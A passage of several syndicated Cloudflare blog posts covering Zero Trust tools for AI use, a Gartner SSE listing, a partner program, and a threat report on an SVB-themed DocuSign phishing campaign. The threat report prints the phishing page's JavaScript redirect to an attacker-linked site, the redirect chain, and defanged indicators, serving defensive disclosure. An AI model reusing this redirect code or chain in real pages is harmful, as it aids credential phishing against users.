On the security side, the AIs can be revolutionary for getting work done but terrifying for data control policies. Team members treat these AIs like sounding boards for painful problems. The services invite users to come with their questions or challenges. Sometimes the context inside those prompts can contain sensitive information that should never leave an organization. Even if teams select and approve a single vendor, members of your organization might prefer another AI and continue to use it in their workflow.

Cloudflare One customers on any plan can now review the usage of AIs. Your IT department can deploy Cloudflare Gateway and passively observe how many users are selecting which services as a way to start scoping out enterprise licensing plans.

A complete suite of Zero Trust security tools to get the most from AI

Administrators can also block the use of these services with a single click, but that is not our goal today. You might want to use this feature if you select ChatGPT as your approved model, and you want to make sure team members don’t continue to use alternatives, but we hope you don’t block all of these services outright. Cloudflare’s priority is to give you the ability to use these tools safely.

Control API access

When our teams began experimenting with OpenAI’s ChatGPT service, we were astonished by what it already knew about Cloudflare. We asked ChatGPT to create applications with Cloudflare Workers or guide us through how to configure a Cloudflare Access policy and, in most cases, the results were accurate and helpful.

In some cases the results missed the mark. The AIs were using outdated information, or we were asking questions about features that had only launched recently. Thankfully, these AIs can learn and we can help. We can train these models with scoped inputs and connect plug-ins to provide our customers with better AI-guided experiences when using Cloudflare services.

We heard from customers who want to do the same thing and, like us, they need to securely share training data and grant plug-in access for an AI service. Cloudflare One’s security suite extends beyond human users and can give teams the ability to securely share Zero Trust access to sensitive data over APIs.

First, teams can create service tokens that external services must present to reach data made available through Cloudflare One. Administrators can provide these tokens to systems making API requests and log every single request. As needed, teams can revoke these tokens with a single click.

A complete suite of Zero Trust security tools to get the most from AI

After creating and issuing service tokens, administrators can create policies to allow specific services access to their training data. These policies will verify the service token and can be extended to verify country, IP address or an mTLS certificate. Policies can also be created to require human users to authenticate with an identity provider and complete an MFA prompt before accessing sensitive training data or services.

A complete suite of Zero Trust security tools to get the most from AI

When teams are ready to allow an AI service to connect to their infrastructure, they can do so without poking holes in their firewalls by using Cloudflare Tunnel. Cloudflare Tunnel will create an encrypted, outbound-only connection to Cloudflare’s network where every request will be checked against the access rules configured for one or more services protected by Cloudflare One.

A complete suite of Zero Trust security tools to get the most from AI

Cloudflare’s Zero Trust access control gives you the ability to enforce authentication on each and every request made to the data your organization decides to provide to these tools. That still leaves a gap in the data your team members might overshare on their own.

Restrict data uploads

Administrators can select an AI service, block Shadow IT alternatives, and carefully gate access to their training material, but humans are still involved in these AI experiments. Any one of us can accidentally cause a security incident by oversharing information in the process of using an AI service – even an approved service.

We expect AI playgrounds to continue to evolve to feature more data management capabilities, but we don’t think you should have to wait for that to begin adopting these services as part of your workflow. Cloudflare’s Data Loss Prevention (DLP) service can provide a safeguard to stop oversharing before it becomes an incident for your security team.

First, tell us what data you care about. We provide simple, preconfigured options that give you the ability to check for things that look like social security numbers or credit card numbers. Cloudflare DLP can also scan for patterns based on regular expressions configured by your team.

A complete suite of Zero Trust security tools to get the most from AI

Once you have defined the data that should never leave your organization, you can build granular rules about how it can and cannot be shared with AI services. Maybe some users are approved to experiment with projects that contain sensitive data, in which case you can build a rule that only allows an Active Directory or Okta group to upload that kind of information while everyone else is blocked.

A complete suite of Zero Trust security tools to get the most from AI

Control use without a proxy

The tools in today’s blog post focus on features that apply to data-in-motion. We also want to make sure that misconfigurations in the applications don’t lead to security violations. For example, the new plug-in feature in ChatGPT brings the knowledge and workflows of external services into the AI interaction flow. However, that can also lead to the services behind plug-ins having more access than you want to.

Cloudflare’s Cloud Access Security Broker (CASB) scans your SaaS applications for potential issues that can occur when users make changes. Whether alerting you to files that someone accidentally just made public on the Internet to checking that your GitHub repositories have the right membership controls, Cloudflare’s CASB removes the manual effort required to check each and every setting for potential issues in your SaaS applications.

Available soon, we are working on new integrations with popular AI services to check for misconfigurations. Like most users of these services, we’re still learning more about where potential accidents can occur, and we are excited to provide administrators who use our CASB with our first wave of controls for AI services.

What’s next?

The usefulness of these tools will only accelerate. The ability of AI services to coach and generate output will continue to make it easier for builders from any background to create the next big thing.

We share a similar goal. The Cloudflare products focused on helping users build applications and services, our Workers platform, remove hassles like worrying about where to deploy your application or how to scale your services. Cloudflare solves those headaches so that users can focus on creating. Combined with the AI services, we expect to see thousands of new builders launch the next wave of products built on Cloudflare and inspired by AI coaching and generation.

We have already seen dozens of projects flourish that were built on Cloudflare Workers using guidance from tools like ChatGPT. We plan to launch new integrations with these models to make this even more seamless, bringing better Cloudflare-specific guidance to the chat experience.

We also know that the security risk of these tools will grow. We will continue to bring functionality into Cloudflare One that aims to stay one step ahead of the risks as they evolve with these services. Ready to get started? Sign up here to begin using Cloudflare One at no cost for teams of up to 50 users.

Cloudflare One named in Gartner® Magic Quadrant™ for Security Service Edge

Post Syndicated from Sam Rhea original https://blog.cloudflare.com/cloudflare-sse-gartner-magic-quadrant/

Cloudflare One named in Gartner® Magic Quadrant™ for Security Service Edge

Cloudflare One named in Gartner® Magic Quadrant™ for Security Service Edge

Gartner has recognized Cloudflare in the 2023 “Gartner® Magic Quadrant™ for Security Service Edge (SSE)” report for its ability to execute and completeness of vision. We are excited to share that the Cloudflare Zero Trust solution, part of our Cloudflare One platform, is one of only ten vendors recognized in the report.

Of the 10 companies named to this year’s Gartner® Magic Quadrant™ report, Cloudflare is the only new vendor addition. You can read more about our position in the report and what customers say about using Cloudflare One here.

Cloudflare is also the newest vendor when measured by the date since our first products in the SSE space launched. We launched Cloudflare Access, our best-in-class Zero Trust access control product, a little less than five years ago. Since then, we have released hundreds of features and shipped nearly a dozen more products to create a comprehensive SSE solution that over 10,000 organizations trust to keep their organizations data, devices and teams both safe and fast. We moved that quickly because we built Cloudflare One on top of the same network that already secures and accelerates large segments of the Internet today.

We deliver our SSE services on the same servers and in the same locations that serve some of the world’s largest Internet properties. We combined existing advantages like the world’s fastest DNS resolver, Cloudflare’s serverless compute platform, and our ability to route and accelerate traffic around the globe. We might be new to the report, but customers who select Cloudflare One are not betting on an upstart provider; they are choosing an industry-leading solution made possible by a network that already secures millions of destinations and billions of users every day.

We are flattered by the recognition from Gartner this week and even more thrilled by the customer outcomes we make possible today. That said, we are not done and we are only going faster.

What is a Security Service Edge?

A Security Service Edge (SSE) “secures access to the web, cloud services and private applications. Capabilities include access control, threat protection, data security, security monitoring, and acceptable-use control enforced by network-based and API-based integration. SSE is primarily delivered as a cloud-based service, and may include on-premises or agent-based components.”1

The SSE space developed to meet organizations as they encountered a new class of security problems. Years ago, teams could keep their devices, services, and data safe by hiding from the rest of the world behind a figurative castle-and-moat. The defense perimeter for an enterprise corresponded to the literal walls of their office. Applications ran in server closets or self-managed data centers. Businesses could deploy firewalls, proxies, and filtering appliances in the form of on-premise hardware. Remote users suffered through the setup by backhauling their traffic through the physical office with a legacy virtual private network (VPN) client.

That model began to break down when applications started to leave the building. Teams began migrating to SaaS tools and public cloud providers. They could no longer control security by placing physical appliances in the flow of their one path to the Internet.

Meanwhile, users also left the office, placing stress on the ability of a self-managed private network to scale with the traffic. Performance and availability suffered while costs increased as organizations carried more traffic and deployed more bandaids to try and buy time.

Bad actors also evolved. Attacks became more sophisticated and exploited the migration away from a classic security perimeter. The legacy appliances deployed could not keep up with the changes in attack patterns and scale of attacks.

SSE vendors provide organizations with a cloud-based solution to those challenges. SSE providers deploy and maintain security services in their own points of presence or in a public cloud provider, giving enterprises a secure first hop before they connect to the rest of the Internet or to their internal tools. IT teams can deprecate the physical or virtual appliances that they spent days maintaining. Security teams benefit from filtering and policies that update constantly to defend against new threats.

Some SSE features target remote access replacement by offering customers the ability to connect users to internal tools with Zero Trust access control rules. Other parts of an SSE platform focus on applying Zero Trust scrutiny to the rest of the Internet, replacing the on-premise filtering appliances of an enterprise with cloud-based firewalls, resolvers, and proxies that filter and log traffic leaving a device closer to the user instead of forcing a backhaul to a centralized location.

What about SASE?

You might also be familiar with the term Secure Access Service Edge (SASE). We hear customers talk about their “SASE” goals more often than “SSE” alone. SASE extends the definition of SSE to include managing the connectivity of the traffic being secured. Network-as-a-Service vendors help enterprises connect their users, devices, sites, and services. SSE providers secure that traffic.

Cloudflare One named in Gartner® Magic Quadrant™ for Security Service Edge

Most vendors focus on one side of the equation. Network-as-a-service companies sell software-defined wide area network (SD-WAN), interconnection, and traffic optimization solutions to help enterprises manage and accelerate connectivity, but those enterprises wind up losing those benefits by sending all that traffic to an SSE provider for filtering. SSE providers deliver security tools for traffic of nearly any type, but they still need customers to buy additional networking services to get that traffic to their locations.

Cloudflare One is a single vendor SASE platform. Cloudflare offers enterprises a comprehensive network-as-a-service where teams can send all traffic to Cloudflare’s network, where we can help teams manage connectivity and improve performance. Enterprises can choose from flexible on-ramps, like their existing hardware routers, agents running on laptops and mobile devices, physical and virtual interconnects, or Cloudflare’s own last mile connector.

When that traffic reaches Cloudflare’s network, our SSE services apply security filtering in the same locations where we manage and route connectivity. Cloudflare’s SSE solution does not add additional hops; we deliver filtering and logging in-line with the traffic we accelerate for our customers. The value of our single vendor SASE solution is just another outcome of an obsession we’ve had since we first launched our reverse proxy over ten years ago: customers should not have to compromise performance for security and vice versa.

So where does Cloudflare One fit?

Cloudflare One connects enterprises to the tools they need while securing their devices, applications and data without compromising on performance. The platform consists of two primary components: our Cloudflare Zero Trust products, which represent our SSE offering, and our network-as-a-service solution. As much as today’s announcement separates out those features, we prefer to talk about how they work together.

Cloudflare’s network-as-a-service offering, our Magic WAN solution, extends our network for customers to use as their own. Enterprises can take advantage of the investments we have made over more than a decade to build out one of the world’s most peered, most performant, and most available networks. Teams can connect individual roaming devices, offices and physical sites, or entire networks and data centers through Cloudflare to the rest of the Internet or internal destinations.

We want to make it as easy as possible for customers to send us their traffic, so we provide many flexible “on-ramps” to easily fit into their existing infrastructure. Enterprises can use our roaming agent to connect user devices, our Cloudflare Tunnel service for application-level connectivity, network-level tunnels from our Magic WAN Connector or their existing router or SD-WAN hardware, and/or direct physical or virtual interconnections for dedicated connectivity to on-prem or cloud infrastructure at 1,600+ locations around the world. When packets arrive at the closest Cloudflare location, we provide optimization, acceleration and logging to give customers visibility into their traffic flows.

Instead of sending that accelerated traffic to an additional intermediary for security filtering, our Cloudflare Zero Trust platform can take over to provide SSE security filtering in the same location – generally on the exact same server – as our network-as-a-service functions. Enterprises can pick and choose what SSE features they want to enable to strengthen their security posture over time.

Cloudflare One and the SSE feature set

The security features inside of Cloudflare One provide comprehensive SSE coverage to enterprises operating at any scale. Customers just need to send traffic to a Cloudflare location within a few milliseconds of their users and Cloudflare Zero Trust handles everything else.

Cloudflare One named in Gartner® Magic Quadrant™ for Security Service Edge

Cloudflare One SSE Capabilities

Zero Trust Access Control
Cloudflare provides a Zero Trust VPN replacement for teams that host and control their own resources. Customers can deploy a private network inside of Cloudflare’s network for more traditional connectivity or extend access to contractors without any agent required. Regardless of how users connect, and for any type of destination they need, Cloudflare’s network gives administrators the ability to build granular rules on a per-resource or global basis. Teams can combine one or more identity providers, device posture inputs, and other sources of signal to determine when and how a user should be able to connect.

Organizations can also extend these types of Zero Trust access control rules to the SaaS applications where they do not control the hosting by introducing Cloudflare’s identity proxy into the login flow. They can continue to use their existing identity provider but layer on additional checks like device posture, country, and multifactor method.

DNS filtering
Cloudflare’s DNS filtering solution runs on the world’s fastest DNS resolver, filtering and logging the DNS queries leaving individual devices or some of the world’s largest networks.

Network firewall
Organizations that maintain on-premise hardware firewalls or cloud-based equivalents can deprecate their boxes by sending traffic through Cloudflare where our firewall-as-a-service can filter and log traffic. Our Network Firewall includes L3-L7 filtering, Intrusion Detection, and direct integrations with our Threat Intelligence feeds and the rest of our SSE suite. It enables security teams to build sophisticated policies without any of the headaches of traditional hardware: no capacity or redundancy planning, no throughput restrictions, no manual patches or upgrades.

Secure Web Gateway
Cloudflare’s Secure Web Gateway (SWG) service inspects, filters, and logs traffic in a Cloudflare PoP close to a user regardless of where they work. The SWG can block HTTP requests bound for dangerous destinations, scan traffic for viruses and malware, and control how traffic routes to the rest of the Internet without the need for additional hardware or virtualized services.

In-line Cloud Access Security Broker and Shadow IT
The proliferation of SaaS applications can help teams cut costs but poses a real risk; sometimes users prefer tools other than the ones selected by their IT or Security teams. Cloudflare’s in-line Cloud Access Security Broker (CASB) gives administrators the tools to make sure employees use SaaS applications as intended. Teams can build tenant control rules that restrict employees from logging into personal accounts, policies that only allow file uploads of certain types to approved SaaS applications, and filters that restrict employees from using unapproved services.

Cloudflare’s “Shadow IT” service scans and catalogs user traffic to the Internet to help IT and Security teams detect and monitor the unauthorized use of SaaS applications. For example, teams can ensure that their approved cloud storage is the only place where users can upload materials.

API-driven Cloud Access Security Broker
Cloudflare’s superpower is our network, but sometimes the worst attacks start with data sitting still. Teams that adopt SaaS applications can share work products and collaborate together from any location; that same convenience makes it simple for mistakes or bad actors to cause a serious data breach.

In some cases, employees might overshare a document with sensitive information by selecting the wrong button in the “Share” menu. With just one click, a spreadsheet with customer contact data could become public on the Internet. In other situations, users might share a report with their personal account without realizing they just violated internal compliance rules.

Regardless of how the potential data breach started, Cloudflare’s API-driven CASB constantly scans the SaaS applications that your team uses for potential misconfiguration and data loss. Once detected, Cloudflare’s CASB will alert administrators and provide a comprehensive guide to remediating the incident.

Data Loss Prevention
Cloudflare’s Data Loss Prevention service scans traffic to detect and block potential data loss. Administrators can select from common precreated profiles, like social security numbers or credit card numbers, or create their own criteria using regular expressions or integrate with existing Microsoft Information Protection labels.

Remote Browser Isolation
Cloudflare’s browser isolation service runs a browser inside of our network, in a data center just milliseconds from the user, and sends the vector rendering of the web page to the local device. Team members can use any modern browser and, unlike other approaches, the Internet just feels like the Internet. Administrators can isolate sites on the fly, choosing to only isolate unknown destinations or providing contractors with an agentless workstation. Security teams can add additional protection like blocking copy-paste or printing.

Security beyond the SSE

Many of the customers who talk to us about their SSE goals are not ready to begin adopting every security service in the category from Day 1. Instead, they tend to have strategic SSE goals and tactical immediate problems. That’s fine. We can meet customers wherever they begin on their journey and sometimes that journey starts with pain points that sit just a bit outside of the current SSE definition. We can help in those areas, too.

Many of the types of attacks that an SSE model aims to prevent begin with email, but that falls outside of the traditional SSE definition. Attackers will target specific employees or entire workforces with phishing links or malware that the default filtering available from email providers today miss.

We want to help customers stop these attacks at the inbox before SSE features like DNS or SWG filtering need to apply. Cloudflare One includes industry-leading email security through our Area 1 product to protect teams regardless of their email provider. Area 1 is not just a standalone solution bundled into our SSE; Cloudflare Zero Trust features work better together alongside Area 1. Suspicious emails can open links in an isolated browser, for example, to give customers a defense-in-depth security model without the risk of more IT help desk tickets.

Cloudflare One customers can also take advantage of another Gartner-recognized platform in Cloudflare, our application security suite. Cloudflare’s industry-leading application security features, like our Web Application Firewall and DDoS mitigation service, can be deployed in-line with our Zero Trust security features. Teams can add bot management alerts, API protection, and faster caching to their internal tools with a single click.

Why Cloudflare?

Over 10,000 organizations trust Cloudflare One to connect and secure their enterprise. Cloudflare One helps protect and accelerate teams from the world’s largest IT organization, the US Federal Government, to thousands of small groups who rely on our free plan. A couple of months ago we spoke with customers as part of our CIO Week to listen to the reasons they select Cloudflare One. Their feedback followed a few consistent themes.

1) Cloudflare One delivers more complete security
Nearly every SSE vendor offers improved security compared to a traditional castle-and-moat model, but that is a low bar. We built the security features in Cloudflare One to be best in class. Our industry-leading access control solution provides more built-in options to control who can connect to the tools that power your business.

We partner leading identity providers and endpoint protection platforms, like Microsoft and CrowdStrike, to provide a Zero Trust VPN replacement that is better than anything else on the market. On the outbound filtering side, every filtering option relies on threat intelligence gathered and curated by Cloudforce One, our dedicated threat research team.

2) Cloudflare One makes your team faster
Cloudflare One accelerates your end users from the first moment they connect to the Internet by starting with the world’s fastest DNS resolver. End users send those DNS queries and establish connectivity over a secure tunnel optimized based on feedback from the millions of users who rely on our popular consumer forward proxy. Entire sites connect through a variety of tunnel options to Cloudflare’s network where we are the fastest connectivity provider for the most number of the world’s 3,000 largest networks.

We compete and measure ourselves against pure connectivity providers. When we measure ourselves against pure SSE providers, like Zscaler, we significantly outperform by 38% to 59% depending on use case.

3) Cloudflare One is easier to manage
The Cloudflare Zero Trust products are unique in the SSE market in that we offer a free plan that covers nearly every feature. We make these services available at no cost to groups of up to 50 users because we believe that security on the Internet should be accessible to anyone on any budget.

A consequence of that commitment is that we built products that have to be easy to use. Unlike other SSE providers who only sell to the enterprise and can rely on large systems integrators for deployment, we had to create a solution that any team could deploy. From human rights organizations without full-time IT departments to start ups who want to spend more time building and less time worrying about vulnerabilities.

We also know that administrators want more options than just an intuitive dashboard. We provide API support for managing every Cloudflare One feature, and we maintain a Terraform provider for teams that need the option for peer reviewed configuration-as-code management.

4) Cloudflare One is the most cost-efficient comprehensive SASE offering
Cloudflare is responsible for delivering and securing millions of websites on the Internet every day. To support that volume of traffic, we had to build our network for scale and cost-efficiency.

The largest enterprises’ internal network traffic does not (yet) match the volume of even moderately popular Internet properties. When those teams send traffic to Cloudflare One, we rely on the same hardware and the same data centers that power our application services business to apply security and networking features. As a result, we can help deliver comprehensive security to any team at a price point that is made possible by our existing investment in our network.

5) Cloudflare can be your single, consolidated security vendor
Cloudflare One is only the most recent part of the Cloudflare platform to be recognized in industry analyst reports. In 2022 Gartner named Cloudflare a Leaderin Web Application and API Protection (WAAP). When customers select Cloudflare to solve their SSE challenges, they have the opportunity to add best-in-class solutions all from the same vendor.

Dozens of independent analyst firms continue to recognize Cloudflare for our ability to deliver results to our customers on services ranging from DDoS protection, CDN and edge computing to bot management.

What’s next?

When customers choose Cloudflare One, they trust our network to secure the most sensitive aspects of their enterprise without slowing down their business. We are grateful to the more than 10,000 organizations who have selected us as their vendor in the last five years, from small teams on our free plan to Fortune 500 companies and government agencies.

Today’s announcement only accelerates the momentum in Cloudflare One. We are focused on building the next wave of security and connectivity features our customers need to focus on their own mission. We’re going to keep going faster to help more and more organizations. Want to get started on that journey with us? Let us know here and we’ll reach out.

Gartner, “Magic Quadrant for Security Service Edge”, Analyst(s): Charlie Winckless, Aaron McQuaid, John Watts, Craig Lawson, Thomas Lintemuth, Dale Koeppen, April 10, 2023.

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1https://www.gartner.com/en/information-technology/glossary/security-service-edge-sse

GARTNER is a registered trademark and service mark of Gartner and Magic Quadrant is a registered trademark of Gartner, Inc. and/or its affiliates in the U.S. and internationally and are used herein with permission. All rights reserved.
Gartner does not endorse any vendor, product or service depicted in its research publications and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner’s research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose.

Introducing our first Authorized Service Delivery Partners for Cloudflare One

Post Syndicated from Anil Erduran original https://blog.cloudflare.com/introducing-our-first-authorized-service-delivery-partners-for-cloudflare-one/

Introducing our first Authorized Service Delivery Partners for Cloudflare One

Introducing our first Authorized Service Delivery Partners for Cloudflare One

Cloudflare’s commitment to building the most compelling and easy-to-use SASE platform on the market has led to significant growth over the past year. Cloudflare One services have seen the fastest adoption among our customers, with a 3x increase in partner bookings and a 70% YoY increase in transacting partners. Partners consistently cite the simplicity of our platform, our innovation, and our global network as key differentiators that are driving strong customer demand.

To continue building on this momentum and deliver required services that our customers may require, we previously announced the creation of our new specialization track for Authorized Services Delivery Partners (ASDP) as part of our efforts to continue growing our partnership program.

Cloudflare’s Authorized Services Delivery Partner track is designed to authorize partners that meet our high standards for professional services delivery around Cloudflare One. Partners who undergo the rigorous technical validation process and meet the criteria for security, performance, and reliability of their services delivery capabilities are designated as Cloudflare Authorized Service Delivery Partners. This designation provides a variety of benefits, including access to Cloudflare One sourced opportunities requiring services, access to named Cloudflare One Service Delivery Managers, and access to special partner incentive funds designed to ensure that authorized partner services are actively used in Cloudflare One customer engagements.

In addition, we’re pleased to announce that our authorized partners, with their deep skills and capabilities, will play a critical role in the Descaler Program. Authorized partners will work closely with customers to understand their unique needs and goals, and provide strategic consultation and technical expertise throughout the migration journey. Authorized partners will also have the opportunity to leverage the Descaler toolkit to automatically export settings and configurations of deployed Zscaler products to be migrated into Cloudflare, enabling a frictionless transition to Cloudflare One.

Since launch, Cloudflare One’s Authorized Services Delivery Partner track is having a notable impact on our partner ecosystem, providing a framework for partners to showcase their expertise in Cloudflare One services and delivering high-quality professional and managed services to customers. The program has attracted a diverse range of partners who bring different skillsets and expertise to the table, including Zero Trust security assessments, network transformation, and advisory and migration services, among others. By authorizing partners who meet our high standards for services delivery, we are providing customers with a clear path to trusted advisors who can help them navigate their journey to a cloud-delivered SASE architecture.

We are thrilled to now announce the first partners who have achieved the ASDP designation.

CDS (EMEA)

CDS enables strategic change by partnering with best-in-class technology providers like Cloudflare, delivering the professional services wrap that ensures that organisations get the best value from their chosen technology including strategic guidance, implementation, architectural governance and for clients with complex needs, a managed service. CDS’ approach ensures Cloudflare services are continuously optimised to the highest standards and that clients achieve the fullest value from their licence. CDS offers a Cloudflare certified team of experts with genuine market experience, who can solve significant security challenges while allowing clients to see their projects from multiple angles, encouraging more secure, creative and innovative solutions

Miguel Ferreira, Head of Cloud Services for CDS says:

“We are thrilled to be one of the first partners in EMEA to achieve Cloudflare’s ‘Authorized Service Delivery Partner’ status. Being a part of this program is critical for us because it validates our commitment to excellence and provides us with the tools and support we need to deliver successful engagements. At CDS, we consider ourselves to be the champions of our clients, helping them to navigate and enable change. Part of this is giving our clients confidence to make significant technology decisions that could make or break their aspirations for digital transformation. Being able to rely on a professional services partner with, in this case, Cloudflare Authorized Services Delivery Partner status, significantly reduces the risk associated with these types of decisions. We look forward to working closely with the Cloudflare team to deliver innovative solutions and exceptional customer experiences.”

Primary Guard (APJC)

Primary Guard provides a leading-edge cybersecurity solution that specializes in IT & network security services in Southeast Asia, delivering fast and secured websites through tailor-made solutions that comply with cybersecurity best practices and performance requirements such as DDoS protection and DDoS mitigation, business endpoint protection, and access control management. They are the award winner for 2020 Cloudflare APJC Partner Champions under Partner System Engineer of the Year category. Being a leader in cybersecurity service provider in ASEAN region, their Lead Security Consultant is also awarded as Cloudflare Community MVP for 2021-2023.

Commenting on their designation as an Authorized Service Partner, Johary Mustapha, CEO of Primary Guard says:

“We are thrilled to be a part of the Authorized Service Delivery Partners program which recognizes Primary Guard’s expertise in zero-trust solutions and adherence to industry best practices. Being a part of this program truly validates our commitment to excellence and provides us with the tools and support we need to deliver successful client engagements across industries and of all sizes. We look forward to working closely with the Cloudflare team to deliver more innovative cybersecurity solutions and exceptional customer experiences.”

AZ-AP (APJC)

AZ Asia-Pacific is a full-fledged Cyber Security Distribution Services Hub headquartered in Singapore with offices and operations in Malaysia, Thailand, Philippines, Indonesia, China and Hong Kong that works with the best of breed System Integrators and Service Providers across the Asia-Pacific Region. AZ AP focus is on delivering quality Solutions and Services in Cyber Security Technology, which includes Zero Trust Network Architecture, Application Security, Cloud and Network Security.

According to Jeremy Woo – Founder & CEO of AZ-AP:

“We are honored to be included in the prestigious Authorized Service Delivery Partners program. This recognition reflects our proficiency in zero trust solutions and our dedication to upholding industry standards, while also providing us with invaluable access to exclusive benefits and resources that will enable us to better support our partners. Joining this program is essential for us because it validates our unwavering commitment to providing outstanding service and equips us with the necessary tools and support to deliver successful engagements. We eagerly anticipate collaborating with the Cloudflare team to deliver ground breaking solutions and unparalleled customer experiences.”

Layer8 (EMEA)

LAYER8 is a company fully focused on the business of information security and compliance management. With more than 80 highly specialized professionals, they deliver solutions that add value to the business and simplify the adoption of information security in organizations around the world. Cloudflare Zero Trust Platform embodies these qualities with its simple and flexible yet highly secure architecture.

Fernando Cardoso, COO at Layer8 says:

“Being part of the Authorized Service Delivery Partners program not only acknowledges our proficiency in zero trust solutions but also equips us with the necessary resources and support to carry out successful projects, enabling us to serve our clients more effectively. This partnership with Cloudflare will certainly strengthen our focus on innovation and business value creation activities.”

Opticca Security (AMER)

Opticca Security is a boutique consulting firm specialized in Edge, Cloud, DevOps and Application Security. Supporting Mid, Large and Enterprise organizations across North America integrate & automate security controls across multiple facets of their IT architecture and software development pipelines. Opticca Security has been a certified Cloudflare Solution reseller and Services partner since 2019 and continues to benefit from Cloudflare’s innovative technology stack, coupled with Opticca Security’s expertise regarding Application Modernization and DevSecOps enablement.

Managing Director Joey Campione from Opticca Security offers their perspective on their achievement, stating that:

“We are very excited to be involved with Cloudflare’s Authorized Services Delivery Partner program, as it will permit us to continue to drive superior security and performance to our existing and future clients. Cloudflare’s continuous investments in platform innovation and the partner ecosystems is allowing us to help our customers be more efficient and competitive by modern standards”.

These partners have demonstrated their expertise in Cloudflare One services and their commitment to delivering high-quality services to customers. We congratulate them on this achievement and look forward to continuing to work with them to deliver exceptional value to our mutual customers.

Roadmap

As of today, Authorized Service Delivery Partner Program has two specializations: ASDP Zero Trust Services and ASDP Application Services. We are also planning to launch two additional specializations in the near future: ASDP Network Services and ASDP Edge Developer Services. Our goal is to work closely with our partners to develop comprehensive solutions that deliver real value to our customers. The launch of additional specializations will provide even more opportunities for our partners to differentiate themselves in the market.

Introducing our first Authorized Service Delivery Partners for Cloudflare One

Conclusion

At Cloudflare, we remain committed to building a strong and strategic network of channel partners who can help us deliver the best possible services and solutions to our customers. We are excited to continue growing our partnership program and to work with our ASDP partners to deliver exceptional value and results. If you are a prospective partner interested in the ASDP track, please see our Cloudflare Authorized Service Delivery Partner validation checklist for details on the application process. If you are an existing Cloudflare partner, please reach out to your named Channel Account Manager for additional information.

How sophisticated scammers and phishers are preying on customers of Silicon Valley Bank

Post Syndicated from Shalabh Mohan original https://blog.cloudflare.com/how-sophisticated-scammers-and-phishers-are-preying-on-customers-of-silicon-valley-bank/

How sophisticated scammers and phishers are preying on customers of Silicon Valley Bank

How sophisticated scammers and phishers are preying on customers of Silicon Valley Bank

By now, the news about what happened at Silicon Valley Bank (SVB) leading up to its collapse and takeover by the US Federal Government is well known. The rapid speed with which the collapse took place was surprising to many and the impact on organizations, both large and small, is expected to last a while.

Unfortunately, where everyone sees a tragic situation, threat actors see opportunity. We have seen this time and again – in order to breach trust and trick unsuspecting victims, threat actors overwhelmingly use topical events as lures. These follow the news cycle or known high profile events (The Super Bowl, March Madness, Tax Day, Black Friday sales, COVID-19, and on and on), since there is a greater likelihood of users falling for messages referencing what’s top of mind at any given moment.

The SVB news cycle makes for a similarly compelling topical event that threat actors can take advantage of; and it’s crucial that organizations bolster their awareness campaigns and technical controls to help counter the eventual use of these tactics in upcoming attacks. It’s tragic that even as the FDIC is guaranteeing that SVB customers’ money is safe, bad actors are attempting to steal that very money!

Preemptive action

In anticipation of future phishing attacks taking advantage of the SVB brand, Cloudforce One (Cloudflare’s threat operations and research team) significantly increased our brand monitoring focused on SVB’s digital presence starting March 10, 2023 and launched several additional detection modules to spot SVB-themed phishing campaigns. All of our customers taking advantage of our various phishing protection services automatically get the benefit of these new models.

Here’s an actual example of a real campaign involving SVB that’s happening since the bank was taken over by the FDIC.

KYC phish – DocuSign-themed SVB campaign

A frequent tactic used by threat actors is to mimic ongoing KYC (Know Your Customer) efforts that banks routinely perform to validate details about their clients. This is intended to protect financial institutions against fraud, money laundering and financial crime, amongst other things.

On March 14, 2023, Cloudflare detected a large KYC phishing campaign leveraging the SVB brand in a DocuSign themed template. This campaign targeted Cloudflare and almost all industry verticals. Within the first few hours of the campaign, we detected 79 examples targeting different individuals in multiple organizations. Cloudflare is publishing one specific example of this campaign along with the tactics and observables seen to help customers be aware and vigilant of this activity.

Campaign Details

The phishing attack shown below targeted Matthew Prince, Founder & CEO of Cloudflare on March 14, 2023. It included HTML code that contains an initial link and a complex redirect chain that is four-deep. The chain begins when the user clicks the ‘Review Documents’ link. It takes the user to a trackable analytic link run by Sizmek by Amazon Advertising Server bs[.]serving-sys[.]com. The link then further redirects the user to a Google Firebase Application hosted on the domain na2signing[.]web[.]app. The na2signing[.]web[.]app HTML subsequently redirects the user to a WordPress site which is running yet another redirector at eaglelodgealaska[.]com. After this final redirect, the user is sent to an attacker-controlled docusigning[.]kirklandellis[.]net website.

How sophisticated scammers and phishers are preying on customers of Silicon Valley Bank

Campaign Timeline

2023-03-14T12:05:28Z		First Observed SVB DoucSign Campaign Launched
2023-03-14T15:25:26Z		Last Observed SVB DoucSign Campaign Launched

A look at the HTML file Google Firebase application (na2signing[.]web[.]app)

The included HTML file in the attack sends the user to a WordPress instance that has recursive redirection capability. As of this writing, we are not sure if this specific WordPress installation has been compromised or a plugin was installed to open this redirect location.

<html dir="ltr" class="" lang="en"><head>
    <title>Sign in to your account</title>
    
    <script type="text/javascript">
    window.onload = function() {
        function Redirect (url){
            window.location.href = url;
        }
        var urlParams = new URLSearchParams(window.location.href);
        var e = window.location.href;
        
       
        Redirect("https://eaglelodgealaska[.]com/wp-header.php?url="+e);
    }
</script>

Indicators of Compromise

na2signing[.]web[.]app	Malicious Google Cloudbase Application.
eaglelodgealaska[.]com	Possibly compromised WordPress website or an open redirect.

*[.]kirklandellis[.]net		Attacker Controlled Application running on at least docusigning[.]kirklandellis[.]net.

Recommendations

  1. Cloudflare Email Security customers can determine if they have received this campaign in their dashboard with the following search terms:

    SH_6a73a08e46058f0ff78784f63927446d875e7e045ef46a3cb7fc00eb8840f6f0

    Customers can also track IOCs related to this campaign through our Threat Indicators API. Any updated IOCs will be continually pushed to the relevant API endpoints.

  2. Ensure that you have appropriate DMARC policy enforcement for inbound messages. Cloudflare recommends [p = quarantine] for any DMARC failures on incoming messages at a minimum. SVB’s DMARC records [v=DMARC1; p=reject; pct=100] explicitly state rejecting any messages that impersonate their brand and are not being sent from SVB’s list of designated and verified senders. Cloudflare Email Security customers will automatically get this enforcement based on SVB’s published DMARC records. For other domains, or to apply broader DMARC based policies on all inbound messages, Cloudflare recommends adhering to ‘Enhanced Sender Verification’ policies across all inbound emails within their Cloudflare Area 1 dashboard.

  3. Cloudflare Gateway customers are automatically protected against these malicious URLs and domains. Customers can check their logs for these specific IOCs to determine if their organization had any traffic to these sites.

  4. Work with your phishing awareness and training providers to deploy SVB-themed phishing simulations for your end users, if they haven’t done so already.

